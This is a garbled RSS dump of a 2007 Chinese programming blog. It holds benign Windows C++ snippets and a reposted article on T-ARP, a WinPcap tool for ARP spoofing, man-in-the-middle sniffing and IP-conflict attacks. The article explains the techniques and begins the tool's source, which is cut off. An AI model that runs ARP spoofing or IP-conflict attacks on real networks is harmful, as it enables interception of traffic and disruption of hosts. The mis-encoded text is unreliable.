??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲精品无码成人,亚洲国产国产综合一区首页,亚洲国产精品综合久久20http://www.tkk7.com/yczz/category/20110.htmlzh-cnWed, 04 Jul 2007 17:52:06 GMTWed, 04 Jul 2007 17:52:06 GMT60PE文gl构http://www.tkk7.com/yczz/articles/128092.html飞鸟飞鸟Wed, 04 Jul 2007 05:45:00 GMThttp://www.tkk7.com/yczz/articles/128092.htmlhttp://www.tkk7.com/yczz/comments/128092.htmlhttp://www.tkk7.com/yczz/articles/128092.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/128092.htmlhttp://www.tkk7.com/yczz/services/trackbacks/128092.html阅读全文

飞鸟 2007-07-04 13:45 发表评论
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调试Release版本应用E序http://www.tkk7.com/yczz/articles/102781.html飞鸟飞鸟Fri, 09 Mar 2007 03:53:00 GMThttp://www.tkk7.com/yczz/articles/102781.htmlhttp://www.tkk7.com/yczz/comments/102781.htmlhttp://www.tkk7.com/yczz/articles/102781.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/102781.htmlhttp://www.tkk7.com/yczz/services/trackbacks/102781.html阅读全文

飞鸟 2007-03-09 11:53 发表评论
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ActiveSkin 4.3 软g换肤http://www.tkk7.com/yczz/articles/102657.html飞鸟飞鸟Thu, 08 Mar 2007 10:38:00 GMThttp://www.tkk7.com/yczz/articles/102657.htmlhttp://www.tkk7.com/yczz/comments/102657.htmlhttp://www.tkk7.com/yczz/articles/102657.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/102657.htmlhttp://www.tkk7.com/yczz/services/trackbacks/102657.html ActiveSkin 4.3 软g换肤在VC中的实现

  ActiveSkin是一Ƅ软g更换皮肤的ActiveX控g。它很还好的Y件界面设计工作从J琐E序代码~写中解攑և来,使得功能设计者可以专心于功能代码的实玎ͼ而把软g界面交给工人员处理。提高了界面设计的工作效率,是一U很好的软g设计思想?br />
下面通过三个CZ来介l他的一般用?br />
CZ一Q?/b>标准型皮肤SkinForm的对话框工程
  在VC环境下徏立一个MFC基本对话框工E。在对话框的资源文g里Dlg.rc设计对话框界面中Q删d有的按钮Buttons和标{LablesQƈ插入ActiveSkin的ActiveX控gQ命名ؓIDC_SKIN。右键点击ActiveSkin控gQ在ActiveX属性里选择LoadSkin菜单,可预先加载一个Skin文g?br />在StdAfx.h?//{{AFX_INSERT_LOCATION}} 之前d以下语句Q?

    //目的是导入ActiveSkin的函数接口库?
    #include <atlbase.h>
    #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types
    using namespace ACTIVESKINLib;
接着Q在Dlg.cpp文g里添加语句:
    CComQIPtr<ISkin> m_pSkin=GetDlgItem(IDC_SKIN)->GetControlUnknown();//m_pSkin是应用程序全局量?
    m_pSkin->LoadSkin(L"皮肤文gX的\?);//如果ActiveSkin控g中已有皮肤,此句可省略?
    m_pSkin->ApplySkin((int)m_hWnd);
  ~译q行Q可以看到皮肤文件X成ؓ了程序的q行界面。如果想要在E序q行时更换皮肤,那也是可以的。在对话框上建立一个ButtonQƈdClick事gQ?
    void CMy1Dlg::OnBNewSkin() 
    {
      static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//文gqo器设|?
      CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skin文g选择H口?
      if (dlg.DoModal() == IDOK)//Skin文g选择成功Q?
      {
        USES_CONVERSION;
        m_pSkin->LoadSkin(T2W(dlg.GetPathName()));//载入指定的Skin文g?
        m_pSkin->ApplySkin((int)m_hWnd);//使当前Skin生效?
      }
    } 
  你会发现q行时主H口已经换肤成功了,但“关于”对话框{非ȝ口ƈ没变化。需要在AboutDlg的OnInitDialog()事g中加入一句:
    m_pSkin->ApplySkin((int)m_hWnd);
再运行就一切Ok了!

CZ二:标准皮肤SkinForm的多文档工程
  和示例一的做法类|不同的只是子H体在ChildFrm.cpp的Create事g中要做修改:
    BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext);
    m_pSkin->ApplySkin((long)m_hWnd);
    return bRes;
q样可以了?

CZ三:自由皮肤SkinFreeForm的事件操?br />  和上q的SkinForm不同QSkinFreeFrom是另一cd的皮肤文件方案。因此它的操作方法上有所不同了。可以参照ActiveSkin自带样例中的DesktopColorizer一例。SkinForm和SkinFreeFrom的主要区别在于SkinApplyҎ和事件的驱动方式上?
    if(FAILED(m_pSkin->LoadSkin(Temp))||   //均用LoadSkin()装蝲某一SkinQ参数是Skin文g的\径名?
      FAILED(m_pSkin->ApplySkinByName((long)m_hWnd, L"FreeForm")))

      //SkinFormcd的皮肤用ApplySkin使其生效Q?
      //q种方式会自动将某Skin中的所有SkinObject元素替代指定Handle的窗口?
      //SkinFreeFormcd的皮肤用ApplySkinByName()使其生效Q?
      //其中W一个参数是H口句柄Q第二个参数是SkinBuilder中一个Object的名字?
    {
      MessageBox("Could not load or apply the skin.");
      PostMessage(WM_CLOSE); 
      return FALSE;
    }
  事g驱动的区别:SkinForm换肤时不影响E序代码的原事g工作方式Q只是界面上的换肤,因而SkinForm::ApplySkin(Handle)OK了;但是SkinFreeForm׃同了Q它必须用一个消息܇Q采用消息的方式使程序获得Skin上的事gQ而且在其事g中采用ISkinObject::GetName(BSTR *)获得相关的皮肤元素,用GetSkinnedWindow(hWnd).FindObject("Screen")来获取相应的元素句柄讄元素状态。简单的消息泵可以通过Skin控g上右键Event讄q编写?br />  具体实现LCZ源代码。示例在使用前请安装好ActiveSkin4.3Q可能还需要修改事例中Skin控g初始的LoadSkin(Skin文g)才能正常使用

飞鸟 2007-03-08 18:38 发表评论
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bmp转JPGhttp://www.tkk7.com/yczz/articles/100992.html飞鸟飞鸟Tue, 27 Feb 2007 11:26:00 GMThttp://www.tkk7.com/yczz/articles/100992.htmlhttp://www.tkk7.com/yczz/comments/100992.htmlhttp://www.tkk7.com/yczz/articles/100992.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100992.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100992.html#include<gdiplus.h>  
#include<GdiPlusEnums.h>
#pragma comment(lib,"GdiPlus.lib")
using namespace Gdiplus;
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)  
{
   UINT  num = 0;          // number of image encoders
   UINT  size = 0;         // size of the image encoder array in bytes
   GdiplusStartupInput gdiplusStartupInput;
   ULONG_PTR           gdiplusToken;
   GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
   ImageCodecInfo* pImageCodecInfo = NULL;
   GetImageEncodersSize(&num, &size);
   if(size == 0)  
    return -1;  // Failure
   pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
   if(pImageCodecInfo == NULL)
    return -1;  // Failure
   GetImageEncoders(num, size, pImageCodecInfo);
   for(UINT j = 0; j < num; ++j)  
   { 
    if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )  
    {
     *pClsid = pImageCodecInfo[j].Clsid;
     free(pImageCodecInfo);
     return j;  // Success 
    }    
   }
   free(pImageCodecInfo);
   GdiplusShutdown(gdiplusToken);
   return -1;  // Failure 

 
void BMP2JPG(CString strBMPFile,CString strJPGFile)
{
    CLSID  encoderClsid;
    WCHAR  strGuid[39];
    if(GetEncoderClsid(L"image/jpeg", &encoderClsid) >= 0)
    StringFromGUID2(encoderClsid, strGuid, 39);
    Image image(strBMPFile.AllocSysString());
    image.Save(strJPGFile.AllocSysString(),&encoderClsid,NULL);
}

飞鸟 2007-02-27 19:26 发表评论
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d盘囄文gq显C?/title><link>http://www.tkk7.com/yczz/articles/100639.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 25 Feb 2007 13:16:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100639.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100639.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100639.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100639.html</trackback:ping><description><![CDATA[//参数 囄路径Q窗口句柄,囄宽,?br />HRESULT ShowPic(char *lpstrFile,HWND hWnd,int nScrWidth,int nScrHeight) <br />{ <br /> HDC hDC_Temp=GetDC(hWnd); <br /> <br /> IPicture *pPic; <br /> IStream *pStm; <br /> <br /> BOOL bResult; <br /> <br /> HANDLE hFile=NULL; <br /> DWORD dwFileSize,dwByteRead; <br /> <br /> //打开盘中的囑Ş文g <br /> hFile=CreateFile(lpstrFile,GENERIC_READ, <br />  FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); <br /> <br /> if (hFile!=INVALID_HANDLE_VALUE) <br /> { <br />  dwFileSize=GetFileSize(hFile,NULL);//获取文g字节?<br />  <br />  if (dwFileSize==0xFFFFFFFF) <br />   return E_FAIL; <br /> } <br /> else <br /> { <br />  return E_FAIL; <br /> } <br /> <br /> <br /> //分配全局存储I间 <br /> HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, dwFileSize); <br /> LPVOID pvData = NULL; <br /> <br /> if (hGlobal == NULL) <br />  return E_FAIL; <br /> <br /> if ((pvData = GlobalLock(hGlobal)) == NULL)//锁定分配内存?<br />  return E_FAIL; <br /> <br /> ReadFile(hFile,pvData,dwFileSize,&dwByteRead,NULL);//把文件读入内存缓冲区 <br /> <br /> GlobalUnlock(hGlobal); <br /> <br /> CreateStreamOnHGlobal(hGlobal, TRUE, &pStm); <br /> <br /> //装入囑Ş文g <br /> bResult=OleLoadPicture(pStm,dwFileSize,TRUE,IID_IPicture,(LPVOID*)&pPic); <br /> <br /> if(FAILED(bResult)) <br />  return E_FAIL; <br /> <br /> OLE_XSIZE_HIMETRIC hmWidth;//囄的真实宽?<br /> OLE_YSIZE_HIMETRIC hmHeight;//囄的真实高?<br /> pPic->get_Width(&hmWidth); <br /> pPic->get_Height(&hmHeight); <br /> <br /> <br /> //图形输出到屏幕上(有点像BitBltQ?<br /> bResult=pPic->Render(hDC_Temp,0,0,nScrWidth,nScrHeight, <br />  0,hmHeight,hmWidth,-hmHeight,NULL); <br /> <br /> pPic->Release(); <br /> <br /> CloseHandle(hFile);//关闭打开的文?<br /> <br /> if (SUCCEEDED(bResult)) <br /> { <br />  return S_OK; <br /> } <br /> else <br /> { <br />  return E_FAIL; <br /> } <br />} <img src ="http://www.tkk7.com/yczz/aggbug/100639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-25 21:16 <a href="http://www.tkk7.com/yczz/articles/100639.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>屏幕截图q保?/title><link>http://www.tkk7.com/yczz/articles/100425.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 23 Feb 2007 13:08:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100425.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100425.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100425.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100425.html</trackback:ping><description><![CDATA[void   SaveBmp(HBITMAP   hbmp,   LPCTSTR   sIconFileName)   <br />{   <br />  if(hbmp==NULL   ||   sIconFileName==NULL)   <br />  return;   <br />  //warning:   this   code   snippet   is   not   bullet   proof.   <br />  //do   error   check   by   yourself   [masterz]   <br />  PICTDESC   picdesc;   <br />  picdesc.cbSizeofstruct   =   sizeof(PICTDESC);   <br />  picdesc.picType   =   PICTYPE_BITMAP   ;           <br />  picdesc.bmp.hpal   =   NULL;   <br />  picdesc.bmp.hbitmap   =   hbmp;   <br />  IPicture*   pPicture=NULL;   <br />  OleCreatePictureIndirect(&picdesc,   IID_IPicture,   TRUE,(VOID**)&pPicture);   <br />  LPSTREAM   pStream;   <br />  CreateStreamOnHGlobal(NULL,TRUE,&pStream);   <br />  LONG   size;   <br />  HRESULT   hr=pPicture->SaveAsFile(pStream,TRUE,&size);   <br />  char   pathbuf[1024];   <br />  strcpy(pathbuf,sIconFileName);   <br />  CFile   iconfile;   <br />  iconfile.Open(pathbuf,   CFile::modeCreate|CFile::modeWrite);   <br />  LARGE_INTEGER   li;   <br />  li.HighPart   =0;   <br />  li.LowPart   =0;   <br />  ULARGE_INTEGER   ulnewpos;   <br />  pStream->Seek(   li,STREAM_SEEK_SET,&ulnewpos);   <br />  ULONG   uReadCount   =   1;   <br />  while(uReadCount>0)   <br />  {   <br />    <br />  pStream->Read(pathbuf,sizeof(pathbuf),&uReadCount);   <br />  if(uReadCount>0)   <br />  iconfile.Write(pathbuf,uReadCount);   <br />  }   <br />  pStream->Release();   <br />  iconfile.Close();   <br />}   <br />    <br /> void   CsaveviewView::OnSaveview()   <br />{   <br />  CClientDC   dc(this);   <br />  CDC   dcmem;   <br />  dcmem.CreateCompatibleDC(&dc);   <br />  CBitmap   bmp;   <br />  CRect   rc;   <br />  GetClientRect(&rc);   <br />  bmp.CreateCompatibleBitmap(&dc,rc.Width(),rc.Height());   <br />  dcmem.SelectObject(&bmp);   <br />  dcmem.BitBlt(0,0,rc.Width(),rc.Height(),&dc,0,0,SRCCOPY);   <br />  SaveBmp(bmp,"c:\\a.bmp");   <br /> }<img src ="http://www.tkk7.com/yczz/aggbug/100425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-23 21:08 <a href="http://www.tkk7.com/yczz/articles/100425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q详谈调用winpcap驱动写arp多功能工?/title><link>http://www.tkk7.com/yczz/articles/100172.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 18 Feb 2007 03:32:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100172.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100172.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100172.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100172.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100172.html</trackback:ping><description><![CDATA[详谈调用winpcap驱动写arp多功能工?br /><br />Author: TOo2y[原创]<br />E-mail: TOo2y@safechina.net<br />Homepage: <a target="_blank">www.safechina.net</a><br />Date: 11-9-2002<br /><br />一 winpcap驱动?br />?Packet.dll相关数据l构及函?br />?T-ARP功能及原理介l?br />?T-ARP主要代码分析<br />?T-ARP源代?br /><br />一Qwinpcap驱动?br />    winpcap(windows packet capture)是windowsq_下一个免费,公共的网l访问系l。开发winpcapq个目的目的在于ؓwin32应用E序提供讉K|络底层的能力。它提供了以下的各项功能Q?br />    1> 捕获原始数据报,包括在共享网l上各主机发?接收的以及相互之间交换的数据报;<br />    2> 在数据报发往应用E序之前Q按照自定义的规则将某些Ҏ的数据报qo掉;<br />    3> 在网l上发送原始的数据报;<br />    4> 攉|络通信q程中的l计信息?br /><br />    winpcap的主要功能在于独立于L协议Q如TCP-IP)而发送和接收原始数据报。也是_winpcap不能dQ过滤或控制其他应用E序数据报的发收Q它仅仅只是监听׃n|络上传送的数据报。因此,它不能用于QoS调度E序或个人防火墙?br /><br />    目前Qwinpcap开发的主要对象是windows NT/2000/XPQ这主要是因为在使用winpcap的用户中只有一部分是仅用windows 95/98/MeQƈ且M$也已l放弃了对win9x的开发。因此本文相关的E序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9xpȝ的概念和NTpȝ的非常相|只是在某些实C有点差异Q比如说9x只支持ANSI~码Q而NTpȝ则提倡用Unicode~码?br /><br />    本文讨论的是packet.dll所提供的各U函敎ͼ因ؓ它们完全可以实现本文所希望的各要求。但是如果你有其他特别的或更高的要求,winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一U更单,直接Q有力的Ҏ来更好的利用~程环境。比如捕获一个数据报Q创Z个数据报qo装置或将监听到的数据报{存到某个文g{,wpcap.dll都会Z提供更加安全的实现方法?br /><br />二)Packet.dll相关数据l构及函敊W?br />    本文的目的之一在于介绍如何利用winpcap驱动写ARP工具Q因此有必要介绍一些相关的数据l构和函敎ͼ要不然看着一行行代码和函敎ͼ也许会有些不知所云?br /><br />    首先介绍一些相关的数据l构Q?br />      1. typedef struct _ADAPTER  ADAPTER  //描述一个网l适配器;<br />      2. typedef struct _PACKET PACKET     //描述一l网l数据报的结构;<br />      3. typedef struct NetType NetType    //描述|络cd的数据结构;<br />      4. typedef struct npf_if_addr npf_if_addr  //描述一个网l适配器的ip地址Q?br />      5. struct bpf_hdr   //数据报头部;<br />      6. struct bpf_stat  //当前捕获数据报的l计信息?br /><br />    下面Q将介绍T-ARP用到的各个函敎ͼ他们都是在packet.dll中定义的Q?br />    1>  LPPACKET PacketAllocatePacket(void)<br />        如果q行成功Q返回一个_PACKETl构的指针,否则q回NULL。成功返回的l果会传送到PacketReceivePacket()函数Q接收来自驱动的|络数据报?br /><br />    2>  VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br />        关闭参数中提供的|络适配器,释放相关的ADAPTERl构?br /><br />    3>  VOID PacketFreePacket(LPPACKET lpPacket)<br />        释放参数提供的_PACKETl构?br /><br />    4>  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br />        q回可以得到的网l适配器列表及描述?br /><br />    5>  BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br />        q回某个|络适配器的全面地址信息?br />        其中npf_ip_addrl构包含QIPAddress,SubnetMask,Broadcast<br />        IPAddress: ip地址<br />        SubnetMask: 子网掩码<br />        Broadcast: q播地址<br /><br />    6>  BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br />        q回某个|络适配器的MACcd?br />        NetTypel构里包含了LinkSpeed(速度Q和LinkType(cdQ。其中LinkType包含以下几种情况Q?br />          NdisMedium802_3: Ethernet(802.3)<br />          NdisMediumWan: WAN<br />          NdisMedium802_5: Token Ring(802.5)<br />          NdisMediumFddi: FDDI<br />          NdisMediumAtm: ATM<br />          NdisMediumArcnet878_2: ARCNET(878.2)<br /><br />    7>  BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br />        q回几个关于当前捕获报告的统计信息?br />        其中bpf_statl构包含Qbs_recv, bs_drop,ps_ifdrop,bs_capt<br />          bs_recv: 从网l适配器开始捕h据报开始所接收到的所有数据报的数目,包括丢失的数据报Q?br />          bs_drop: 丢失的数据报数目。在驱动~冲区已l满Ӟ׃发生数据报丢q情况?br /><br />    8>  PCHAR PacketGetVersion()<br />        q回关于dll的版本信息?br /><br />    9>  VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br />        初始化一个_PACKETl构?br /><br />    10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br />        打开一个网l适配器?br /><br />    11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br />        从NPF驱动E序d|络数据报及l计信息?br />        数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|<br /><br />    12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br />        发送一个或多个数据报的副本?br /><br />    13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br />        讄捕获数据报的内核U缓冲区大小?br /><br />    14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br />        为接收到的数据报讄gqo规则?br />        以下Z些典型的qo规则Q?br />          NDIS_PACKET_TYPE_PROMISCUOUS: 讄为؜杂模式,接收所有流q的数据报;<br />          NDIS_PACKET_TYPE_DIRECTED: 只有目的Cؓ本地L|络适配器的数据报才会被接收Q?br />          NDIS_PACKET_TYPE_BROADCAST: 只有q播数据报才会被接收Q?br />          NDIS_PACKET_TYPE_MULTICAST: 只有与本C机网l适配器相对应的多播数据报才会被接Ӟ<br />          NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收Q?br />          NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收?br /><br />    15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br />        讄调用PacketSendPacket()函数发送一个数据报副本所重复的次数?br /><br />    16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br />        讄在接收到一个数据报后“休息”的旉?br />    <br />    以上是T-ARP所调用的各个函敎ͼ它包含了packet.dll里的大部分函数。如果你x深层的了解winpcap,误问相关网站,主页地址Q?<a target="_blank">http://winpcap.polito.it</a><br /><br />三)T-ARP功能及原理介l?br />    准备工作Q ?br />      1. 安装winpcap驱动Q目前最新的版本为winpcap_3.0_alpha, E_版本为winpcap_2.3Q?br />      2. 使用ARPƺ骗功能前,必须启动ip路由功能Q修?d)注册表选项Q?br />      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 <br /><br />    选项:  <br />      -m  L扫描Q获得局域网内指定ipD中存活L的ip地址和mac地址Q?br />      -a  反嗅探扫描,获得局域网内指定ipD中嗅探L的ip地址和mac地址Q?br />      -s  ARPƺ骗Q欺骗局域网内指定的两台LQ其相互发送接收的数据报均通过本地LQ?br />          |络嗅探Q如果你选择ƺ骗的两C机均是本C机,那么会监听到所有流q本C机的数据报;<br />          IP冲突Q如果你选择ƺ骗的两C机是同一台非本地LQ那么就会发起ip冲突dQ?br />      -r  重置被欺骗主机,使被ƺ骗的两C机恢复正常的工作状态?br /><br />    原理及实现过E:<br />      无论什么选项Q第一件事是获得本地L的mac地址及相关网l设|。我们以一个特D的ip地址(112.112.112.112)向本C机发送一个ARP Request(ARPh)数据报,当本C机接收到后,׃发送一个ARP Reply(ARP应答)数据报来回应hQ这h们就可以获得本地L的mac地址了。至于相关的|络讄可以通过PacketGetNetInfoEx()和PacketGetNetType()获得?br /><br />      -m  以本C机的名义(本地L的ip和mac)向指定ip|段内的所有主机发送广?ff:ff:ff:ff:ff:ff)ARP Request数据报,存活的主机就会发送ARP Reply数据报,q样可以获得当前存zM机的列表。因为在很多|关上都对ARP Request做了限制--非内|ip发送的ARP Request数据报不会得到网关的回应Q如果你用内|的其他某台L的ip来发送ARP Request数据报,如果填写的mac地址和相应的ip不合Q就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求?br /><br />      -a  以本C机的名义(本地L的ip和mac)向指定ip|段内的所有主机发?1位伪q播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报,只有正在嗅探的主机才会发送ARP Reply数据报,q样可以获得当前存zM机的列表。嗅探中的win2000pȝq会?6位伪q播地址(ff:ff:00:00:00:00)做出回应Q而嗅探中的win95/98/me不仅会回?6位伪q播地址Q而且也会回应8位伪q播地址(ff:00:00:00:00:00)Q?NIXpȝ对各U广播地址所做出的反应却有些不同。在此我们选择31位伪q播地址Q是因ؓl大多数的系l在嗅探旉会对它做出回应。而正常状况下的各U系l,都不会对31位伪q播地址做出回应?br /><br />      -s (ARPƺ骗spoof) 需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,q是我们实现ƺ骗的基。首先获得指定的两台L(假设?A ?B)的mac地址Q然后向A发送ARP Reply数据报,其中的源ip地址为B的ip地址Q但是源mac地址却是本地L的mac地址Q这样主机A׃认ؓLB的mac地址是本C机的mac地址Q所以主机A发送到LB的数据报都发送到本地L了。同理向LB发送ARP Reply数据报,通知它主机A的mac地址为本C机的mac地址。这样主机A和主机B׃把目的主机的mac地址理解为本C机的mac地址Q于是他们之间相互发送的数据报都首先到达了本C机,而先前我们已l将本地L讄了ip路由功能Q系l会自动数据报转发到真正的目的L。其_你就可以监听它们通信的各U数据报了?br /><br />      -s (|络嗅探sniff) 如果指定的两个目的主机均为本C机,那么只是将|络适配器设|ؓh模式Q这样就可以监听到流q本C机网l适配器的各种数据?br /><br />      -s (ip冲突shockQ?如果你选择ƺ骗的两C机是同一台非本地L(假如是主机C)Q那么就会不断地向主机C发送ARP Reply数据报,报文中的源ip地址是LC的ip地址Q但是源mac地址却是本地L的mac地址Q因此主机C׃发现有另一C机同时拥有和自己相同的ipQ这是ip冲突d。如果是非xppȝ,都会跛_一个ip冲突的提C窗口,而xppȝ也会有类似的警告。但是请注意Q在LC的系l事件查看器中,会留下本C机的mac地址与之冲突的恶心记录,所以你最好不要滥用这个功能?br /><br />      -r  在实CARPƺ骗的情况下Q向LA和B发送ARP Reply数据报,通知LA(B)注意LB(A)的mac地址Z机B(A)自己的mac地址Q这样主机A和B׃更新他们的ARP~存Q实现正常的数据通信?br />      <br />四)T-ARP主要代码分析<br />    1> 自定义函敎ͼ<br />      int getmine()    //发送ARP Request数据报,h获得本地L的mac地址Q?br />      void getdata(LPPACKET lp,int op)  //分类处理接收到的数据报;<br />      DWORD WINAPI sniff(LPVOID no)     //网l适配器设|ؓh模式Q接收所有流q的数据报;<br />      DWORD WINAPI sendMASR(LPVOID no)  //发送ARP Request数据报,h获得指定ip的mac地址Q?br />      DWORD WINAPI sendSR(LPVOID no)    //发送ARP Replyq行ARPƺ骗Q或是更C机的ARP~存?br /><br />    2> 主要代码分析<br />      printf("\nLibarary Version: %s",PacketGetVersion());  //输出dll的版本信息;<br /><br />      PacketGetAdapterNames((char *)adaptername,&adapterlength)  //获得本地L的网l适配器列表和描述Q?br /><br />      lpadapter=PacketOpenAdapter(adapterlist[open-1]);  //打开指定的网l适配器;<br /><br />      PacketGetNetType(lpadapter,&ntype)  //获得|络适配器的MACcdQ?br /><br />      PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)  //获得指定|络适配器的相关信息Q?br /><br />      rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);  //创徏一个新U程来监听网l数据报Q?br /><br />      PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)  //网l适配器设|ؓh模式Q这h可以监听过本地L的数据报Q?br />      PacketSetBuff(lpadapter,500*1024)  //自定义网l适配器的内核~的大小?500*1024Q?br /><br />      PacketSetReadTimeout(lpadapter,1)  //讄接收一个数据报后等待的旉?毫秒Q?br /><br />      PacketReceivePacket(lpadapter,lppacketr,TRUE)  //在设|ؓh模式后,接收所有的数据报;<br /><br />      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />      sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);  //创徏一个新U程发送特定的ARP数据?br /><br />      PacketSetNumWrites(lpadapter,2)  //在发送一个数据报Ӟ重复发送两ơ;<br /><br />      PacketSendPacket(lpadapter,lppackets,TRUE)  //发送自定义数据报;<br />      <br />      WaitForSingleObject(sthread,INFINITE);  //{待发送ARP数据报的U程l束Q?br /><br />      PacketGetStats(lpadapter,&stat)  //获得|络适配器的l计信息Q?br /><br />? T-ARP源代?br /><br />#include <packet32.h><br />#include <ntddndis.h><br />#include <stdio.h><br />#include <conio.h><br /><br />#pragma comment(lib,"ws2_32")<br />#pragma comment(lib,"packet")<br /><br />#define ETH_IP       0x0800<br />#define ETH_ARP      0x0806<br />#define ARP_REQUEST  0x0001<br />#define ARP_REPLY    0x0002<br />#define ARP_HARDWARE 0x0001<br />#define max_num_adapter  10<br /><br />#pragma pack(push,1)<br /><br />typedef struct ethdr<br />{<br />    unsigned char   eh_dst[6];<br />    unsigned char   eh_src[6];<br />    unsigned short  eh_type;<br />}ETHDR,*PETHDR;<br /><br />typedef struct arphdr<br />{<br />    unsigned short  arp_hdr;<br />    unsigned short  arp_pro;<br />    unsigned char   arp_hln;<br />    unsigned char   arp_pln;<br />    unsigned short  arp_opt;<br />    unsigned char   arp_sha[6];<br />    unsigned long   arp_spa;<br />    unsigned char   arp_tha[6];<br />    unsigned long   arp_tpa;<br />}ARPHDR,*PARPHDR;<br /><br />typedef struct iphdr<br />{<br />    unsigned char  h_lenver;<br />    unsigned char  tos;<br />    unsigned short total_len;<br />    unsigned short ident;<br />    unsigned short frag_and_flags;<br />    unsigned char  ttl;<br />    unsigned char  proto;<br />    unsigned short checksum;<br />    unsigned int   sourceip;<br />    unsigned int   destip;<br />}IPHDR,*PIPHDR;<br /><br />#pragma pack(push)<br /><br />LPADAPTER lpadapter=0;<br />LPPACKET  lppacketr,lppackets;<br />ULONG     myip,firstip,secondip;<br />UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};<br />BOOL      mm=FALSE,fm=FALSE,sm=FALSE; <br />FILE      *fp; <br />char      adapterlist[max_num_adapter][1024];<br />char      msg[50];<br />int       num=0;<br /><br />void start()<br />{<br />    printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");<br />    printf("Homepage: <a target="_blank">www.safechina.net</a>\n");<br />    printf("E-mail: TOo2y@safechina.net\n");<br />    return ;<br />}<br /><br />void usage()<br />{<br />    printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");<br />    printf("Option:\n");<br />    printf("   -m  mac        Get the mac address from firstip to secondip\n");<br />    printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");<br />    printf("   -s  spoof      1> Spoof the host between firstip and secondip\n");<br />    printf("       sniff      2> Sniff if firstip == secondip == your own ip\n");<br />    printf("       shock      3> Shock if firstip == secondip != your own 